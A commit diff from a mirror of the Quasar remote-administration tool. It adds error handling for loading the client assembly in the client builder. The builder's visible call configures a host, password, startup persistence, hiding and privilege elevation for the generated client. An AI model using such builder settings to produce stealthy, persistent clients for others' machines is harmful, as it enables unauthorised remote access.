mirror of https://github.com/quasar/Quasar.git
Fixed #52
This commit is contained in:
parent
42803078be
commit
bc12b91f15
|
@ -1,4 +1,5 @@
|
||||||
using System;
|
using System;
|
||||||
|
using System.IO;
|
||||||
using Mono.Cecil;
|
using Mono.Cecil;
|
||||||
using Mono.Cecil.Cil;
|
using Mono.Cecil.Cil;
|
||||||
using Vestris.ResourceLib;
|
using Vestris.ResourceLib;
|
||||||
|
@ -12,7 +13,15 @@ namespace xServer.Core.Build
|
||||||
{
|
{
|
||||||
// PHASE 1 - Settings
|
// PHASE 1 - Settings
|
||||||
string encKey = Helper.Helper.GetRandomName(20);
|
string encKey = Helper.Helper.GetRandomName(20);
|
||||||
AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin");
|
AssemblyDefinition asmDef;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
asmDef = AssemblyDefinition.ReadAssembly("client.bin");
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
throw new FileLoadException(ex.Message);
|
||||||
|
}
|
||||||
|
|
||||||
foreach (var typeDef in asmDef.Modules[0].Types)
|
foreach (var typeDef in asmDef.Modules[0].Types)
|
||||||
{
|
{
|
||||||
|
|
|
@ -1,4 +1,5 @@
|
||||||
using System;
|
using System;
|
||||||
|
using System.IO;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
using xServer.Core.Build;
|
using xServer.Core.Build;
|
||||||
|
@ -242,6 +243,7 @@ namespace xServer.Forms
|
||||||
MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
asmInfo = new string[8];
|
asmInfo = new string[8];
|
||||||
asmInfo[0] = txtProductName.Text;
|
asmInfo[0] = txtProductName.Text;
|
||||||
asmInfo[1] = txtDescription.Text;
|
asmInfo[1] = txtDescription.Text;
|
||||||
|
@ -252,9 +254,18 @@ namespace xServer.Forms
|
||||||
asmInfo[6] = txtProductVersion.Text;
|
asmInfo[6] = txtProductVersion.Text;
|
||||||
asmInfo[7] = txtFileVersion.Text;
|
asmInfo[7] = txtFileVersion.Text;
|
||||||
}
|
}
|
||||||
ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text, txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked, chkHide.Checked, int.Parse(txtPort.Text), int.Parse(txtDelay.Text), GetInstallPath(), chkElevation.Checked, icon, asmInfo, Application.ProductVersion);
|
|
||||||
|
ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text,
|
||||||
|
txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked,
|
||||||
|
chkStartup.Checked, chkHide.Checked, int.Parse(txtPort.Text), int.Parse(txtDelay.Text),
|
||||||
|
GetInstallPath(), chkElevation.Checked, icon, asmInfo, Application.ProductVersion);
|
||||||
|
|
||||||
MessageBox.Show("Successfully built client!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
MessageBox.Show("Successfully built client!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||||
}
|
}
|
||||||
|
catch (FileLoadException)
|
||||||
|
{
|
||||||
|
MessageBox.Show("Unable to load the Client Assembly Information.\nPlease re-build the Client.", "Error loading Client", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||||
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
MessageBox.Show(string.Format("An error occurred!\n\nError Message: {0}\nStack Trace:\n{1}", ex.Message, ex.StackTrace), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
MessageBox.Show(string.Format("An error occurred!\n\nError Message: {0}\nStack Trace:\n{1}", ex.Message, ex.StackTrace), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||||
|
|
Loading…
Reference in New Issue